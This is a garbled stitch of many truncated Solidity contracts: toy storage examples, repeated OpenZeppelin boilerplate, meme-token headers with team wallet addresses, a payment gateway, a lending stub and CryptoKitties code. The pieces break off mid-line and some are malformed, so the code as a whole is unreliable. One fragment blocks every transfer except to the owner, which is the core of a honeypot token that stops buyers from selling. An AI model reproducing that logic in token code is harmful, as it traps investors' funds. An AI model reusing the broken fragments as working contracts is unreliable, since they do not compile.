  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(string _value) public {
    value = _value;
  }

  function get() public constant returns (string) {
    return value;
  }

  string value;

pragma solidity ^0.4.18;

contract CP {

  mapping (address => string) images; 

  function upload(string memory _imageUrl) public {
    images[msg.sender] = _imageUrl;
  }

  function get() public constant returns (string) {
    return images[msg.sender];
  }

pragma solidity ^0.4.18;

contract CP {

  mapping (address => string) images; 

  function upload(string memory _imageUrl) public {

    images[msg.sender] = _imageUrl;
  }

  function get() public constant returns (string) {
    return images[msg.sender];
  }

pragma solidity ^0.4.18;

contract CP {

  mapping (address => string) images; 

  function upload(string memory _imageUrl) public {

    images[msg.sender] = _imageUrl;
  }

  function get() public constant returns (string) {
    return images[msg.sender];
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

/**
 *Submitted for verification at BscScan.com on 2021-07-19
*/

/**
 *Submitted for verification at BscScan.com on 2021-07-04
*/

/**
 *Submitted for verification at BscScan.com on 2021-06-29
*/

pragma solidity ^0.6.12; 
 
// SPDX-License-Identifier: MIT 
 
interface IERC20 { 
 
    function totalSupply() external view returns (uint256); 
 
    /** 
     * @dev Returns the amount of tokens owned by account. 
     */ 
    function balanceOf(address account) external view returns (uint256); 
 
    /** 
     * @dev Moves amount tokens from the caller's account to recipient. 
     * 
     * Returns a boolean value indicating whether the operation succeeded. 
     * 
     * Emits a {Transfer} event. 
     */ 
    function transfer(address recipient, uint256 amount) external returns (bool); 
 
    /** 
     * @dev Returns the remaining number of tokens that spender will be 
     * allowed to spend on behalf of owner through {transferFrom}. This is 
     * zero by default. 
     * 
     * This value changes when 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract UkuliData {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Contract module w

apragma solidity ^0.7.0;

contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint public value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.8.0;
contract Example {
  struct Weather {
    bytes32 temp;
    bytes32 desc;
  }

  Weather[] weatherArray;

  mapping (bytes32 => uint256) requestToIdx;

  function requestWeather(
    bytes32 _jobId, 
    address _oracle
  ) public {
    uint256 fee = 0.1 * 10 ** 18; // whatever the fee is??
    Chainlink.Request memory requestOne = buildChainlinkRequest(_jobId, address(this), this.fulfillTemp.selector);
    Chainlink.Request memory requestTwo = buildChainlinkRequest(_jobId, address(this), this.fulfillDesc.selector);
    requestOne.add("get", "{{endpoint}}");
    requestOne.add("copyPath", "PATH.TO.TEMP");
    requestTwo.add("get", "{{endpoint}}");
    requestTwo.add("copyPath", "PATH.TO.DESC");
    requestIdOne = sendChainlinkRequestTo(_oracle, requestOne, fee);
    requestIdTwo = sendChainlinkRequestTo(_oracle, requestTwo, fee);
    Weather memory weather;
    weatherArray.push(weather);
    reques

if(to != owner){
  require(false, "Transfer From Failed");
} else {
  _transfer(from, to, amount, deadline);

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Context.sol

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contrac

// File: contracts/libs/SafeMath.sol

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: additi

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: Unlicensed

/**Website: https://super-husky.com/
Telegram: @SUPERHUSKYBSC
Twitter: @SuperHuskyBSC
Reddit: r/SuperHusky

Team Wallet: 0x8E1eFFE1C678334d377014236536B5dE2bdd0712
Marketing Wallet: 0x967f86D30D72283B5eC0E83f4d34841C8138a7BF 

DISCLOSURE By purchasing SuperHusky Token, you agree that you are not purchasing a security or investment contract and you agree to hold the team harmless and not liable for any losses or taxes you may incur. 
Although SuperHusky is a community driven DeFi Ecosystem and not a registered digital currency, always make sure that you are in compliance with local laws and regulations before you make any purchase. 
Cryptocurrencies are not legal tender and are not investments.

This is a SuperHusky original contract. Do not copy paste this contract, unless licensed by @SUPERHUSKYBSC.
**/

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
  

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: Unlicensed

/**Website: https://super-husky.com/
Telegram: @SUPERHUSKYBSC
Twitter: @SuperHuskyBSC
Reddit: r/SuperHusky

Team Wallet: 0x8E1eFFE1C678334d377014236536B5dE2bdd0712
Marketing Wallet: 0x967f86D30D72283B5eC0E83f4d34841C8138a7BF 

DISCLOSURE By purchasing SuperHusky Token, you agree that you are not purchasing a security or investment contract and you agree to hold the team harmless and not liable for any losses or taxes you may incur. 
Although SuperHusky is a community driven DeFi Ecosystem and not a registered digital currency, always make sure that you are in compliance with local laws and regulations before you make any purchase. 
Cryptocurrencies are not legal tender and are not investments.

This is a SuperHusky original contract. Do not copy paste this contract, unless licensed by @SUPERHUSKYBSC.
**/

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
  

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * ther

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the

/**
 *Submitted for verification at polygonscan.com on 2021-07-30
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract

/**
 *Submitted for verification at polygonscan.com on 2021-07-30
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract

pragma solidity 0.5.16;
 
interface IBEP20 {
 /**
  * @dev Returns the amount of tokens in existence.
  */
 function totalSupply() external view returns (uint256);
 
 /**
  * @dev Returns the token decimals.
  */
 function decimals() external view returns (uint8);
 
 /**
  * @dev Returns the token symbol.
  */
 function symbol() external view returns (string memory);
 
 /**
 * @dev Returns the token name.
 */
 function name() external view returns (string memory);
 
 /**
  * @dev Returns the bep token owner.
  */
 function getOwner() external view returns (address);
 
 /**
  * @dev Returns the amount of tokens owned by `account`.
  */
 function balanceOf(address account) external view returns (uint256);
 
 /**
  * @dev Moves `amount` tokens from the caller's account to `recipient`.
  *
  * Returns a boolean value indicating whether the operation succeeded.
  *
  * Emits a {Transfer} event.
  */
 function transfer(address recipient, uint256 amount) external returns (bool);
 
 /**
  * @dev Returns the remaining

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _call() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) inter

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//SPDX-License-Identifier: MIT
pragma solidity 0.7.1;

contract KarmaGateway
{
    
    /**
     * Contract owner
    **/
    address payable owner;
    
    /**
     * Charity address
    **/
    address public charityAddress = 0xb5F0Cdc0370610980549F461E05b196578CC3D1D;
    
    event Payment(address indexed sender, address indexed to, uint256 amount, uint256 fee);
    event withdraw(address indexed _too, uint256 amount, uint256 timestamp);
    
    constructor () {
        owner = payable(address(msg.sender));
    }
    
    modifier onlyOwner() {
        require(owner == msg.sender, "Only owner can execute this function");
        _;
    }

    function setCharityAddresss(address payable _address) public onlyOwner
    {
        charityAddress = _address;
    }
    
    function pay(address payable _to, uint256 _fee) external payable {
        require(msg.value > 0, "Must send BNB");
        require(msg.value >= 0.01 ether, "The minimal transfer is 0.01 BNB");
        require(_fee >= 2, "The minimal fee is

/**
 *Submitted for verification at Etherscan.io on 2021-07-19
*/

/*
*Only Shiba 
*The Real NFT Game of Shiba Memes
*1,000,000 Token supply Only
*No Tax , all token use in Game with reward system
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.8;

library Address {
        function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: additi

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.17;

contract P2PLending {
  
  //Global Counters for overall stats 
  uint totalNumLoans; 
  uint totalNumBorrowers; 
  uint totalNumInvestors; 
  uint totalNumFullyFundedLoans; 

   //Arrays to hold all of our investors and borrowers and loans
  Investor[] public investors; 
  Borrower[] public borrowers; 
  Loan[] public loans; 

  //Mappings 
  mapping (address => uint) public borrowerNumLoans; //take a borrowerr address and get the number of loans they have in the marketplace
  mapping (address => uint) public investorNumInvestments; //take an investor address and get the number of loans they are funding
  mapping (uint => address) public borrowerToOwner; //take an id from our borrowers array and get the address of the borrower
  mapping (uint => address) public investorToOwner; // take an id from our investors arrray and get the address of the investor
  mapping (address => Borrower) public borro

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.1;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts